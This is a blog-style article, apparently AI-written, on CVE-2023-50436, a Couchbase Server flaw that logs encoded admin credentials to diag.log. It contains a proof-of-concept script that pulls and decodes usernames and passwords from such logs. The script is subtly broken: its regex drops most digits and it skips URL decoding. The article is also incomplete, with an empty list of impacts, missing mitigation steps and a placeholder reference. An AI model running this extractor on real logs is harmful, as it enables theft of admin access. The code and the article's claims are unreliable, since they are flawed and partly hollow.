In early 2024, security researchers uncovered a significant vulnerability in Couchbase Server (versions 7.1.5 up to but not including 7.2.4) identified as CVE-2023-50436. This issue can expose *encoded admin credentials* in the diag.log file, posing a severe risk if attackers get their hands on these logs. This article breaks down how the vulnerability works, includes code snippets to help you spot and possibly exploit the issue in testing environments, steps for mitigation, and provides all the references you need. Written in simple, straightforward language—let's dive in.

What Is CVE-2023-50436?

CVE-2023-50436 is a vulnerability that causes the Couchbase Server's admin credentials to be written, in encoded form, to the diag.log file. If someone gets access to these log files, they can decode and reuse the credentials to gain unauthorized admin access to the Couchbase cluster.

Why Is This Serious?

Logs are often accessible to support engineers, developers, and, unfortunately, sometimes even attackers who compromise an internal system. If admin credentials are stored—even encoded—they can often be easily decoded, giving an attacker free reign over your Couchbase cluster. This could result in:

How Does the Leak Happen?

The ns_server management service logs sensitive request parameters, including admin credentials, during certain cluster operations (like setup or rebalance), to diag.log. The credentials are not logged plaintext, but the encoding (usually Base64 or URL encoding) is trivial to reverse.

Here’s a snippet you might find in an affected diag.log file

[ns_server:info,2023-11-20T12:34:56.789-07:00,diag.log] POST /controller/setupServices with body: services=kv%2Cn1ql%2Cindex&username=admin&password=YWRtaW5wYXNzCg%3D%3D

Here, username=admin and password=YWRtaW5wYXNzCg%3D%3D (Base64 encoded).

Decoding the Leaked Credentials

You can easily decode this Base64 string using Python or any online tool.

Python Example

import base64

encoded_password = "YWRtaW5wYXNzCg=="
decoded = base64.b64decode(encoded_password).decode('utf-8')
print(decoded)  # Output: adminpass

Proof-of-Concept Exploit

IMPORTANT: Use only on authorized test systems!

Suppose you get a copy of diag.log. You can script out an automated credential extractor

import re
import base64

with open("diag.log", "r") as log:
    for line in log:
        # Look for lines containing 'username' and 'password'
        match = re.search(r"username=(\w+)&password=([A-Za-z-9%]+)", line)
        if match:
            username = match.group(1)
            encoded_pw = match.group(2)
            # Some logs may encode less or more, adjust as necessary
            try:
                pw_bytes = base64.b64decode(encoded_pw)
                password = pw_bytes.decode('utf-8', errors='ignore')
            except Exception:
                password = "(could not decode)"
            print(f"Leaked credential: {username}:{password}")

Couchbase Server 7.2.4 or later is NOT vulnerable.

- Couchbase Release Notes

More Info & Original References

- Couchbase Security Advisory: https://www.couchbase.com/alerts/cbb-393
- NVD CVE Record: https://nvd.nist.gov/vuln/detail/CVE-2023-50436

GitHub Discussions:

- Example: HN thread

Conclusion

CVE-2023-50436 underscores how dangerous overlooked log practices can be. Even encoded credentials are a glaring risk if proper access boundaries aren't set. If you use Couchbase 7.1.5 to 7.2.3, upgrade right now—and audit your logs!

Stay secure.

*Written exclusively for you, by an AI security analyst. Share and protect your cluster!*

Timeline

Published on: 02/29/2024 01:42:00 UTC
Last modified on: 11/14/2024 20:35:08 UTC